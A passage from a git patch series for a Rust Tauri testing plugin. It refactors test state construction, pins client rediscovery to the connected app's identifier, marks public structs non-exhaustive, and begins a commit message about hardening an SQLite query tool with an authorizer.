minimized: false, - fullscreen: false, - position: (100, 100), - size: (800, 600), + .map(|label| { + victauri_core::WindowState::new(label.to_string()) + .with_title(format!("{label} Window")) + .with_url("http://localhost/".to_string()) + .with_visible(true) + .with_focused(labels.first() == Some(label)) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 100) + .with_size(800, 600) }) .collect(), pending_evals, @@ -127,30 +122,7 @@ impl WebviewBridge for CallbackMockBridge { // ── Helpers ──────────────────────────────────────────────────────────────── fn test_state() -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: PrivacyConfig::default(), - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), - }) + Arc::new(VictauriState::for_tests()) } async fn start_test_server(state: Arc, labels: &[&str]) -> String { @@ -762,29 +734,10 @@ async fn large_css_injection() { #[tokio::test] async fn strict_privacy_blocks_dangerous_tools() { let config = victauri_plugin::privacy::strict_privacy_config(); - let state = Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: config, - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + let state = Arc::new({ + let mut s = VictauriState::for_tests(); + s.privacy = config; + s }); let base = start_test_server(state, &["main"]).await; let (client, sid) = mcp_session(&base).await; diff --git a/crates/victauri-plugin/tests/tool_contract_tests.rs b/crates/victauri-plugin/tests/tool_contract_tests.rs index 4c92477d..6f00b232 100644 --- a/crates/victauri-plugin/tests/tool_contract_tests.rs +++ b/crates/victauri-plugin/tests/tool_contract_tests.rs @@ -1,11 +1,8 @@ mod common; -use std::collections::{HashMap, HashSet}; +use std::collections::HashSet; use std::sync::Arc; -use tokio::sync::Mutex; - -use victauri_core::{CommandRegistry, EventLog, EventRecorder}; use victauri_plugin::VictauriState; use victauri_plugin::bridge::WebviewBridge; use victauri_plugin::mcp::build_app_stateful; @@ -32,17 +29,17 @@ impl CallbackMockBridge { Self { windows: labels .iter() - .map(|label| victauri_core::WindowState { - label: label.to_string(), - title: format!("{label} Window"), - url: "http://localhost/".to_string(), - visible: true, - focused: labels.first() == Some(label), - maximized: false, - minimized: false, - fullscreen: false, - position: (100, 100), - size: (800, 600), + .map(|label| { + victauri_core::WindowState::new(label.to_string()) + .with_title(format!("{label} Window")) + .with_url("http://localhost/".to_string()) + .with_visible(true) + .with_focused(labels.first() == Some(label)) + .with_maximized(false) + .with_minimized(false) + .with_fullscreen(false) + .with_position(100, 100) + .with_size(800, 600) }) .collect(), pending_evals, @@ -127,56 +124,14 @@ impl WebviewBridge for CallbackMockBridge { // ── Helpers ──────────────────────────────────────────────────────────────── fn test_state() -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: PrivacyConfig::default(), - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), - }) + Arc::new(VictauriState::for_tests()) } fn privacy_state(config: PrivacyConfig) -> Arc { - Arc::new(VictauriState { - event_log: EventLog::new(1000), - registry: CommandRegistry::new(), - port: std::sync::atomic::AtomicU16::new(0), - pending_evals: Arc::new(Mutex::new(HashMap::new())), - recorder: EventRecorder::new(1000), - privacy: config, - eval_timeout: std::time::Duration::from_secs(30), - shutdown_tx: tokio::sync::watch::channel(false).0, - started_at: std::time::Instant::now(), - tool_invocations: std::sync::atomic::AtomicU64::new(0), - allow_file_navigation: false, - command_timings: victauri_plugin::introspection::CommandTimings::new(), - fault_registry: victauri_plugin::introspection::FaultRegistry::new(), - contract_store: victauri_plugin::introspection::ContractStore::new(), - startup_timeline: victauri_plugin::introspection::StartupTimeline::new(), - event_bus: victauri_plugin::introspection::EventBusMonitor::default(), - task_tracker: victauri_plugin::introspection::TaskTracker::new(), - bridge_ready: std::sync::atomic::AtomicBool::new(true), - bridge_notify: tokio::sync::Notify::new(), - db_search_paths: Vec::new(), - screencast: std::sync::Arc::new(victauri_plugin::screencast::Screencast::default()), - probes: victauri_plugin::introspection::AppStateProbes::default(), + Arc::new({ + let mut s = VictauriState::for_tests(); + s.privacy = config; + s }) } @@ -2024,9 +1979,10 @@ async fn logs_slow_ipc_missing_threshold() { async fn privacy_eval_js_disabled() { let mut disabled = HashSet::new(); disabled.insert("eval_js".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_server(config, &["main"]).await; let (client, sid) = mcp_session(&base).await; @@ -2048,9 +2004,10 @@ async fn privacy_eval_js_disabled() { async fn privacy_screenshot_disabled() { let mut disabled = HashSet::new(); disabled.insert("screenshot".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_server(config, &["main"]).await; let (client, sid) = mcp_session(&base).await; @@ -2065,9 +2022,10 @@ async fn privacy_screenshot_disabled() { async fn privacy_navigate_disabled() { let mut disabled = HashSet::new(); disabled.insert("navigate".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let base = start_privacy_server(config, &["main"]).await; let (client, sid) = mcp_session(&base).await; @@ -2089,9 +2047,10 @@ async fn privacy_navigate_disabled() { async fn privacy_inject_css_disabled() { let mut disabled = HashSet::new(); disabled.insert("inject_css".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let state = privacy_state(config); let base = start_callback_server(state, &["main"], |_| "null".to_string()).await; @@ -2114,9 +2073,10 @@ async fn privacy_inject_css_disabled() { async fn privacy_fill_disabled() { let mut disabled = HashSet::new(); disabled.insert("fill".to_string()); - let config = PrivacyConfig { - disabled_tools: disabled, - ..Default::default() + let config = { + let mut c = PrivacyConfig::default(); + c.disabled_tools = disabled; + c }; let state = privacy_state(config); let base = start_callback_server(state, &["main"], |_| "null".to_string()).await; @@ -2403,11 +2363,11 @@ async fn wait_for_event_matches_recent_event() { // A valid, far-future timestamp is unconditionally within the look-back window. state .event_bus - .push(victauri_plugin::introspection::CapturedTauriEvent { - name: "analysis-complete".to_string(), - payload: r#"{"scored":437}"#.to_string(), - timestamp: "2099-01-01T00:00:00Z".to_string(), - }); + .push(victauri_plugin::introspection::CapturedTauriEvent::new( + "analysis-complete".to_string(), + r#"{"scored":437}"#.to_string(), + "2099-01-01T00:00:00Z".to_string(), + )); let base = start_test_server(state, &["main"]).await; let body = rest_call( &base, @@ -2432,11 +2392,11 @@ async fn wait_for_event_outside_lookback_times_out() { // An old event predates the default 2s look-back, so it must NOT satisfy the wait. state .event_bus - .push(victauri_plugin::introspection::CapturedTauriEvent { - name: "analysis-complete".to_string(), - payload: "{}".to_string(), - timestamp: "2000-01-01T00:00:00Z".to_string(), - }); + .push(victauri_plugin::introspection::CapturedTauriEvent::new( + "analysis-complete".to_string(), + "{}".to_string(), + "2000-01-01T00:00:00Z".to_string(), + )); let base = start_test_server(state, &["main"]).await; let body = rest_call( &base, diff --git a/crates/victauri-test/src/assertions.rs b/crates/victauri-test/src/assertions.rs index 6071dad9..686d5494 100644 --- a/crates/victauri-test/src/assertions.rs +++ b/crates/victauri-test/src/assertions.rs @@ -63,6 +63,18 @@ pub struct CheckResult { pub detail: String, } +impl CheckResult { + /// Creates a check result (`detail` is conventionally empty when `passed`). + #[must_use] + pub fn new(description: impl Into, passed: bool, detail: impl Into) -> Self { + Self { + description: description.into(), + passed, + detail: detail.into(), + } + } +} + /// Collection of check results from a `verify()` run. #[derive(Debug)] pub struct VerifyReport { @@ -71,6 +83,13 @@ pub struct VerifyReport { } impl VerifyReport { + /// Creates a report from individual check results (e.g. to export custom + /// checks through [`Self::to_junit`]). + #[must_use] + pub fn new(results: Vec) -> Self { + Self { results } + } + /// Returns true if all checks passed. #[must_use] pub fn all_passed(&self) -> bool { diff --git a/crates/victauri-test/src/client.rs b/crates/victauri-test/src/client.rs index dc8c77f6..5fc313d2 100644 --- a/crates/victauri-test/src/client.rs +++ b/crates/victauri-test/src/client.rs @@ -106,6 +106,7 @@ fn find_sse_response(text: &str, expected_id: u64) -> Option { /// println!("v{} — {} tools, up {:.0}s", info.version, info.tools.total, info.uptime_secs); /// ``` #[derive(Debug, Clone, Deserialize)] +#[non_exhaustive] pub struct PluginInfo { /// Plugin version string (e.g. `"0.2.0"`). pub version: String, @@ -124,6 +125,7 @@ pub struct PluginInfo { /// Tool information nested inside [`PluginInfo`]. #[derive(Debug, Clone, Default, Deserialize)] +#[non_exhaustive] pub struct PluginToolInfo { /// Total number of tools registered. #[serde(default)] @@ -143,6 +145,7 @@ pub struct PluginToolInfo { /// assert!(mb < 512.0, "memory usage too high: {mb:.1} MB"); /// ``` #[derive(Debug, Clone, Deserialize)] +#[non_exhaustive] pub struct MemoryStats { /// Current working set size in bytes. pub working_set_bytes: u64, @@ -257,6 +260,11 @@ pub struct VictauriClient { /// re-handshake instead of replaying stale credentials. `false` for explicit /// [`Self::connect_with_token`] clients, whose endpoint is the caller's choice. discovered: bool, + /// Tauri app identifier of the server this client connected to, recorded at + /// [`Self::discover`] time (from `/info`, else discovery metadata). Rediscovery + /// only accepts a server with this same identity, so a restarted client can never + /// silently bind to a different app that took over the port. + app_identifier: Option, } impl VictauriClient { @@ -305,6 +313,7 @@ impl VictauriClient { next_id: 10, auth_token: token.map(String::from), discovered: false, + app_identifier: None, }) } @@ -412,7 +421,7 @@ impl VictauriClient { /// restarted, the client reconnected, or the `notifications/initialized` was missed. async fn reinitialize(&mut self) -> Result<(), TestError> { if self.discovered { - self.rediscover(); + self.rediscover()?; } let token = self.auth_token.clone(); let session_id = Self::perform_handshake( @@ -424,19 +433,86 @@ impl VictauriClient { ) .await?; self.session_id = session_id; + if self.discovered { + self.verify_identity().await?; + } Ok(()) } - /// Re-resolve the endpoint (port + auth token) from discovery, exactly as - /// [`Self::discover`] did. Only meaningful for discovered clients: after an app - /// restart the plugin has a fresh token and possibly a different port. - fn rediscover(&mut self) { - let (port, token) = crate::discovery::resolve_connection(); + /// Re-resolve the endpoint (port + auth token) from discovery for the SAME app + /// [`Self::discover`] connected to. Only meaningful for discovered clients: after + /// an app restart the plugin has a fresh token and possibly a different port. + /// + /// Errors (leaving the endpoint unchanged) when no live server with the recorded + /// app identity is found — it never falls back to the default port. + fn rediscover(&mut self) -> Result<(), TestError> { + let Some((port, token)) = + crate::discovery::resolve_rediscovery(self.app_identifier.as_deref()) + else { + return Err(TestError::Connection { + host: self.host.clone(), + port: self.port, + reason: self.app_identifier.as_ref().map_or_else( + || { + "rediscovery found no unambiguous live Victauri server — the app may \ + still be restarting" + .to_string() + }, + |id| { + format!( + "rediscovery found no live Victauri server for app '{id}' — the \ + app may still be restarting (other running apps are ignored)" + ) + }, + ), + }); + }; if port != self.port { self.port = port; self.base_url = format!("http://{}:{port}", self.host); } self.auth_token = token; + Ok(()) + } + + /// Read the host app's identifier from the server's `/info` endpoint. + async fn fetch_app_identifier(&self) -> Option { + let mut req = self.http.get(format!("{}/info", self.base_url)); + if let Some(ref t) = self.auth_token { + req = req.header("Authorization", format!("Bearer {t}")); + } + let info: Value = req.send().await.ok()?.json().await.ok()?; + info.get("app_identifier") + .and_then(Value::as_str) + .map(str::to_string) + } + + /// After a rediscovery re-handshake, confirm the server is still the app this + /// client was pinned to (defense in depth for explicit `VICTAURI_PORT` configs, + /// where discovery metadata is not consulted). + async fn verify_identity(&self) -> Result<(), TestError> { + let Some(expected) = self.app_identifier.as_deref() else { + return Ok(()); + }; + match self.fetch_app_identifier().await { + Some(actual) if actual != expected => Err(TestError::Connection { + host: self.host.clone(), + port: self.port, + reason: format!( + "rediscovered server on port {} is app '{actual}', not '{expected}' — \ + refusing to switch apps", + self.port + ), + }), + _ => Ok(()), + } + } + + /// The Tauri app identifier this client is pinned to, when known (recorded by + /// [`Self::discover`]; `None` for [`Self::connect_with_token`] clients). + #[must_use] + pub fn app_identifier(&self) -> Option<&str> { + self.app_identifier.as_deref() } /// Auto-discover a running Victauri server via temp files. @@ -460,6 +536,13 @@ impl VictauriClient { match Self::connect_with_token(port, token.as_deref()).await { Ok(mut client) => { client.discovered = true; + // Pin the app identity so a later rediscovery can only re-attach to + // this same app. `/info` is authoritative (it is the server we just + // reached); discovery metadata is the fallback for older plugins. + client.app_identifier = match client.fetch_app_identifier().await { + Some(id) => Some(id), + None => crate::discovery::identifier_for_port(port), + }; Ok(client) } Err(TestError::Connection { host, port, reason }) => { @@ -504,20 +587,29 @@ impl VictauriClient { pub async fn reconnect(&self, max_wait: std::time::Duration) -> Result { let start = std::time::Instant::now(); loop { - let (port, token) = if self.discovered { - crate::discovery::resolve_connection() + // A discovered client only re-attaches to its own app (same identifier); + // no match yet means "not back yet" — never a default-port guess. + let endpoint = if self.discovered { + crate::discovery::resolve_rediscovery(self.app_identifier.as_deref()) } else { - (self.port, self.auth_token.clone()) + Some((self.port, self.auth_token.clone())) }; - let alive = self - .http - .get(format!("http://{}:{port}/health", self.host)) - .send() - .await - .is_ok_and(|r| r.status().is_success()); - if alive { + let alive = match &endpoint { + Some((port, _)) => self + .http + .get(format!("http://{}:{port}/health", self.host)) + .send() + .await + .is_ok_and(|r| r.status().is_success()), + None => false, + }; + if alive && let Some((port, token)) = endpoint { let mut client = Self::connect_with_token(port, token.as_deref()).await?; client.discovered = self.discovered; + client.app_identifier.clone_from(&self.app_identifier); + if client.discovered { + client.verify_identity().await?; + } return Ok(client); } if start.elapsed() > max_wait { @@ -561,6 +653,7 @@ impl VictauriClient { let mut resp = None; let mut reinitialized = false; let mut reauthed = false; + let mut reconnected = false; for attempt in 0..4 { let mut req = self .http @@ -578,7 +671,18 @@ impl VictauriClient { if let Some(ref t) = self.auth_token { req = req.header("Authorization", format!("Bearer {t}")); } - let r = req.send().await?; + let r = match req.send().await { + Ok(r) => r, + // Connection refused/reset on a discovered client: the app most likely + // restarted (possibly on another port). Rediscover the SAME app once and + // retry; explicit-endpoint clients surface the error as-is. + Err(e) if e.is_connect() && self.discovered && !reconnected && attempt < 3 => { + reconnected = true; + self.reinitialize().await?; + continue; + } + Err(e) => return Err(e.into()), + }; let status = r.status(); if status == 429 && attempt < 3 { @@ -2398,6 +2502,89 @@ mod transport_tests { assert!(find_sse_response(body, 99).is_none()); } + /// A port with nothing listening (bound, then released). + fn closed_port() -> u16 { + let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap(); + listener.local_addr().unwrap().port() + } + + fn client_at(port: u16, discovered: bool, app_identifier: Option<&str>) -> VictauriClient { + VictauriClient { + http: reqwest::Client::new(), + base_url: format!("http://127.0.0.1:{port}"), + host: "127.0.0.1".to_string(), + port, + session_id: None, + next_id: 10, + auth_token: None, + discovered, + app_identifier: app_identifier.map(str::to_string), + } + } + + fn explicit_discovery_env() -> bool { + std::env::var_os("VICTAURI_PORT").is_some() + || std::env::var_os("VICTAURI_AUTH_TOKEN").is_some() + } + + #[tokio::test] + async fn connection_refused_on_discovered_client_rediscovers_same_app_only() { + if explicit_discovery_env() { + return; // explicit endpoint config bypasses discovery by design + } + let port = closed_port(); + // An identity no live app can have: rediscovery must find nothing and say so, + // instead of binding to whatever app holds the default port. + let id = format!("com.victauri.test.absent-{}", std::process::id()); + let mut client = client_at(port, true, Some(&id)); + let err = client + .call_tool("get_plugin_info", json!({})) + .await + .expect_err("nothing is listening"); + match err { + TestError::Connection { reason, .. } => { + assert!( + reason.contains(&id), + "a connection error on a discovered client must trigger an identity-pinned \ + rediscovery: {reason}" + ); + } + other => panic!("expected a rediscovery Connection error, got {other:?}"), + } + assert_eq!(client.port(), port, "no default-port (7373) fallback"); + assert_eq!(client.app_identifier(), Some(id.as_str())); + } + + #[tokio::test] + async fn connection_refused_on_explicit_client_is_not_rediscovered() { + let port = closed_port(); + let mut client = client_at(port, false, None); + let err = client + .call_tool("get_plugin_info", json!({})) + .await + .expect_err("nothing is listening"); + assert!( + matches!(err, TestError::Request(ref e) if e.is_connect()), + "an explicit-endpoint client surfaces the transport error as-is: {err:?}" + ); + assert_eq!(client.port(), port); + } + + #[test] + fn rediscover_without_a_match_leaves_the_endpoint_untouched() { + if explicit_discovery_env() { + return; + } + let port = closed_port(); + let id = format!("com.victauri.test.absent2-{}", std::process::id()); + let mut client = client_at(port, true, Some(&id)); + client.auth_token = Some("keep".to_string()); + assert!(client.rediscover().is_err()); + assert_eq!(client.port, port); + assert_eq!(client.base_url, format!("http://127.0.0.1:{port}")); + assert_eq!(client.auth_token.as_deref(), Some("keep")); + } + #[test] fn sse_multi_line_data_is_joined() { let body = "event: message\r\ndata: {\"jsonrpc\":\"2.0\",\r\ndata: \"id\":3,\"error\":{\"code\":-1}}\r\n\r\n"; diff --git a/crates/victauri-test/src/coverage.rs b/crates/victauri-test/src/coverage.rs index 5857f34f..cd90b7fe 100644 --- a/crates/victauri-test/src/coverage.rs +++ b/crates/victauri-test/src/coverage.rs @@ -11,6 +11,7 @@ use crate::error::TestError; /// IPC coverage report showing which commands were exercised. #[derive(Debug)] +#[non_exhaustive] pub struct CoverageReport { /// Total number of registered commands. pub total_commands: usize, @@ -26,6 +27,7 @@ pub struct CoverageReport { /// A command name with its invocation count. #[derive(Debug)] +#[non_exhaustive] pub struct CommandCalls { /// Name of the Tauri command. pub name: String, diff --git a/crates/victauri-test/src/discovery.rs b/crates/victauri-test/src/discovery.rs index 4460ad28..40adcca3 100644 --- a/crates/victauri-test/src/discovery.rs +++ b/crates/victauri-test/src/discovery.rs @@ -129,6 +129,51 @@ pub fn resolve_connection() -> (u16, Option) { scan_discovery_dirs_for_connection().unwrap_or((7373, None)) } +/// Re-resolve the endpoint of a previously discovered client, pinned to its app. +/// +/// Explicit configuration (`VICTAURI_PORT` / `VICTAURI_AUTH_TOKEN`) is honored exactly +/// as [`resolve_connection`] does — the caller named the endpoint. Otherwise only a live +/// discovery entry whose app `identifier` equals `expected_identifier` is accepted; when +/// the identity is unknown (`None`, e.g. a plugin too old to report one) the single live +/// server is accepted as before. Returns `None` — never the default port — when nothing +/// (or more than one server) matches, so a restarted client cannot silently bind to a +/// different app that happens to hold the shared default port. +pub fn resolve_rediscovery(expected_identifier: Option<&str>) -> Option<(u16, Option)> { + if configured_port().is_some() || configured_token().is_some() { + return Some(resolve_connection()); + } + select_for_identity(&find_live_servers(), expected_identifier) +} + +/// The app identifier advertised in discovery metadata by the single live server on +/// `port`, if exactly one such server exists and it recorded an identifier. +pub fn identifier_for_port(port: u16) -> Option { + let servers = find_live_servers(); + let mut matching = servers.iter().filter(|server| server.port == port); + let server = matching.next()?; + if matching.next().is_some() { + return None; + } + server.identifier.clone() +} + +fn select_for_identity( + servers: &[DiscoveredServer], + expected_identifier: Option<&str>, +) -> Option<(u16, Option)> { + let Some(expected) = expected_identifier else { + return unique_connection(servers); + }; + let mut matching = servers + .iter() + .filter(|server| server.identifier.as_deref() == Some(expected)); + let server = matching.next()?; + if matching.next().is_some() { + return None; + } + Some((server.port, server.token.clone())) +} + /// Non-destructive classification of the discovery directory, used to turn a /// bare "connection refused" into an actionable diagnosis. #[derive(Debug, Clone)] @@ -242,6 +287,8 @@ struct DiscoveredServer { pid: u32, port: u16, token: Option, + /// Tauri app identifier from `metadata.json`, when the plugin recorded one. + identifier: Option, } fn unique_connection(servers: &[DiscoveredServer]) -> Option<(u16, Option)> { @@ -326,7 +373,20 @@ fn find_live_servers_in( .ok() .map(|t| t.trim().to_string()) .filter(|t| !t.is_empty()); - servers.push(DiscoveredServer { pid, port, token }); + let identifier = std::fs::read_to_string(path.join("metadata.json")) + .ok() + .and_then(|text| serde_json::from_str::(&text).ok()) + .and_then(|meta| { + meta.get("identifier") + .and_then(serde_json::Value::as_str) + .map(str::to_string) + }); + servers.push(DiscoveredServer { + pid, + port, + token, + identifier, + }); } servers } @@ -413,6 +473,7 @@ mod tests { pid: 10, port: 7374, token: Some("token-b".to_string()), + identifier: None, }]; assert_eq!( unique_connection(&servers), @@ -427,11 +488,13 @@ mod tests { pid: 10, port: 7373, token: Some("token-a".to_string()), + identifier: None, }, DiscoveredServer { pid: 11, port: 7374, token: Some("token-b".to_string()), + identifier: None, }, ]; assert_eq!( @@ -445,11 +508,13 @@ mod tests { pid: 12, port: 7373, token: Some("old-token".to_string()), + identifier: None, }, DiscoveredServer { pid: 13, port: 7373, token: Some("new-token".to_string()), + identifier: None, }, ]; assert_eq!(unique_token_for_port(&duplicate, 7373), None); @@ -495,6 +560,78 @@ mod tests { ); } + fn server(pid: u32, port: u16, token: &str, identifier: Option<&str>) -> DiscoveredServer { + DiscoveredServer { + pid, + port, + token: Some(token.to_string()), + identifier: identifier.map(str::to_string), + } + } + + #[test] + fn rediscovery_pins_the_app_identity() { + // The restarted app came back on 7374; a DIFFERENT app now holds 7373. + let servers = vec![ + server(20, 7373, "other-token", Some("com.other.app")), + server(21, 7374, "mine-token", Some("com.mine.app")), + ]; + assert_eq!( + select_for_identity(&servers, Some("com.mine.app")), + Some((7374, Some("mine-token".to_string()))) + ); + } + + #[test] + fn rediscovery_never_falls_back_when_the_app_is_absent() { + // Only a different app is live (on the default port): no match => None, never + // that app and never a default-port guess. + let servers = vec![server(20, 7373, "other-token", Some("com.other.app"))]; + assert_eq!(select_for_identity(&servers, Some("com.mine.app")), None); + assert_eq!(select_for_identity(&[], Some("com.mine.app")), None); + } + + #[test] + fn rediscovery_rejects_an_ambiguous_identity_match() { + let servers = vec![ + server(20, 7373, "a", Some("com.mine.app")), + server(21, 7374, "b", Some("com.mine.app")), + ]; + assert_eq!(select_for_identity(&servers, Some("com.mine.app")), None); + } + + #[test] + fn rediscovery_without_known_identity_keeps_the_unique_server_rule() { + let one = vec![server(20, 7375, "t", None)]; + assert_eq!( + select_for_identity(&one, None), + Some((7375, Some("t".to_string()))) + ); + let two = vec![server(20, 7375, "t", None), server(21, 7376, "u", None)]; + assert_eq!(select_for_identity(&two, None), None); + } + + #[test] + fn scan_reads_the_identifier_from_metadata() { + let base = tempfile::tempdir().unwrap(); + let dir = base.path().join("77"); + std::fs::create_dir_all(&dir).unwrap(); + std::fs::write(dir.join("port"), "7380").unwrap(); + std::fs::write(dir.join("token"), "tok").unwrap(); + std::fs::write( + dir.join("metadata.json"), + r#"{"pid":77,"port":7380,"identifier":"com.meta.app","product_name":"Meta"}"#, + ) + .unwrap(); + let servers = find_live_servers_in(base.path(), |_| true, |_| true); + assert_eq!(servers.len(), 1); + assert_eq!(servers[0].identifier.as_deref(), Some("com.meta.app")); + assert_eq!( + select_for_identity(&servers, Some("com.meta.app")), + Some((7380, Some("tok".to_string()))) + ); + } + #[test] fn live_owner_with_unreachable_port_is_pruned() { // A live owning process whose port isn't listening yet (mid-rebuild) is not usable now. diff --git a/crates/victauri-test/src/lib.rs b/crates/victauri-test/src/lib.rs index 4b5c1b3c..cedb01e5 100644 --- a/crates/victauri-test/src/lib.rs +++ b/crates/victauri-test/src/lib.rs @@ -53,8 +53,9 @@ pub use assertions::{ assert_ipc_not_called, }; pub use client::{ - MemoryStats, PluginInfo, VictauriClient, WaitForBuilder, assert_ipc_healthy, assert_json_eq, - assert_json_truthy, assert_no_a11y_violations, assert_performance_budget, assert_state_matches, + MemoryStats, PluginInfo, PluginToolInfo, VictauriClient, WaitForBuilder, assert_ipc_healthy, + assert_json_eq, assert_json_truthy, assert_no_a11y_violations, assert_performance_budget, + assert_state_matches, }; pub use error::TestError; pub use locator::{Bounds, Locator, LocatorExpect, LocatorMatch}; diff --git a/crates/victauri-test/src/locator.rs b/crates/victauri-test/src/locator.rs index 87c1f0ef..74815bda 100644 --- a/crates/victauri-test/src/locator.rs +++ b/crates/victauri-test/src/locator.rs @@ -35,6 +35,7 @@ use crate::error::TestError; /// Bounding rectangle of a DOM element in CSS pixels. #[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq)] +#[non_exhaustive] pub struct Bounds { /// X offset from the viewport left edge. pub x: f64, @@ -48,6 +49,7 @@ pub struct Bounds { /// A single element resolved from a [`Locator`] query. #[derive(Debug, Clone, Serialize, Deserialize)] +#[non_exhaustive] pub struct LocatorMatch { /// Ref handle ID used to target this element in subsequent actions. pub ref_id: String, diff --git a/crates/victauri-test/src/smoke.rs b/crates/victauri-test/src/smoke.rs index 42b51dcd..1d94428c 100644 --- a/crates/victauri-test/src/smoke.rs +++ b/crates/victauri-test/src/smoke.rs @@ -34,6 +34,7 @@ use crate::error::TestError; /// Result of a single smoke check with timing. #[derive(Debug, Clone)] +#[non_exhaustive] pub struct SmokeCheckResult { /// Human-readable name of the check. pub name: String, @@ -47,22 +48,19 @@ pub struct SmokeCheckResult { /// Aggregate report from [`VictauriClient::smoke_test()`]. /// -/// ``` -/// use victauri_test::smoke::{SmokeCheckResult, SmokeReport}; -/// use std::time::Duration; -/// -/// let report = SmokeReport { -/// checks: vec![SmokeCheckResult { -/// name: "eval works".to_string(), -/// passed: true, -/// detail: String::new(), -/// duration: Duration::from_millis(50), -/// }], -/// duration: Duration::from_millis(50), -/// }; -/// assert!(report.all_passed()); +/// ```no_run +/// # async fn demo() -> Result<(), victauri_test::TestError> { +/// let mut client = victauri_test::VictauriClient::discover().await?; +/// let report = client.smoke_test().await?; +/// for failed in report.failures() { +/// eprintln!("{}: {}", failed.name, failed.detail); +/// } +/// assert!(report.all_passed(), "{}", report.to_summary()); +/// # Ok(()) +/// # } /// ``` #[derive(Debug)] +#[non_exhaustive] pub struct SmokeReport { /// Individual check results in execution order. pub checks: Vec, diff --git a/crates/victauri-test/src/visual.rs b/crates/victauri-test/src/visual.rs index 40874e38..4422db9f 100644 --- a/crates/victauri-test/src/visual.rs +++ b/crates/victauri-test/src/visual.rs @@ -42,6 +42,7 @@ impl MaskRegion { /// Named threshold presets for common use cases. #[derive(Debug, Clone, Copy, PartialEq, Eq)] +#[non_exhaustive] pub enum ThresholdPreset { /// Pixel-perfect: tolerance 0, threshold 0%. Strict, @@ -75,6 +76,7 @@ impl ThresholdPreset { /// Result of comparing two screenshots pixel-by-pixel. #[derive(Debug)] +#[non_exhaustive] pub struct VisualDiff { /// Percentage of pixels that matched (0.0 to 100.0). pub match_percentage: f64, From 611d38a2ea7ea5fc0b2c144d7138463e9e2bfb57 Mon Sep 17 00:00:00 2001 From: audit Date: Sun, 27 Sep 2026 15:04:21 +1000 Subject: [PATCH 008/167] fix(database): SQLite authorizer for query_db; hardened, fully-budgeted db_health - query_db: an SQLite AUTHORIZER is now the enforcement point (default-deny: reads, functions, recursive CTEs, allowlisted PRAGMAs; a PRAGMA argument only for read-with-argument pragmas). The string checks missed table-valued pragma functions (`SELECT * FROM pragma_optimize` ran) and the parenthesized write form (`PRAGMA user_version(5)`); both are now refused before running. - Both paths treat the DB file as untrusted: trusted_schema=OFF + defensive. - db_health: the interrupt watchdog parks/unparks instead of sleeping 25ms steps that the drop joined (~25ms per table, capping a 5s budget at ~200 tables); the metadata + listing phase is budgeted too; virtual tables are listed but never counted (counting runs module code); a failed count sets row_counts_complete=false with a per-table count_error; the report says the 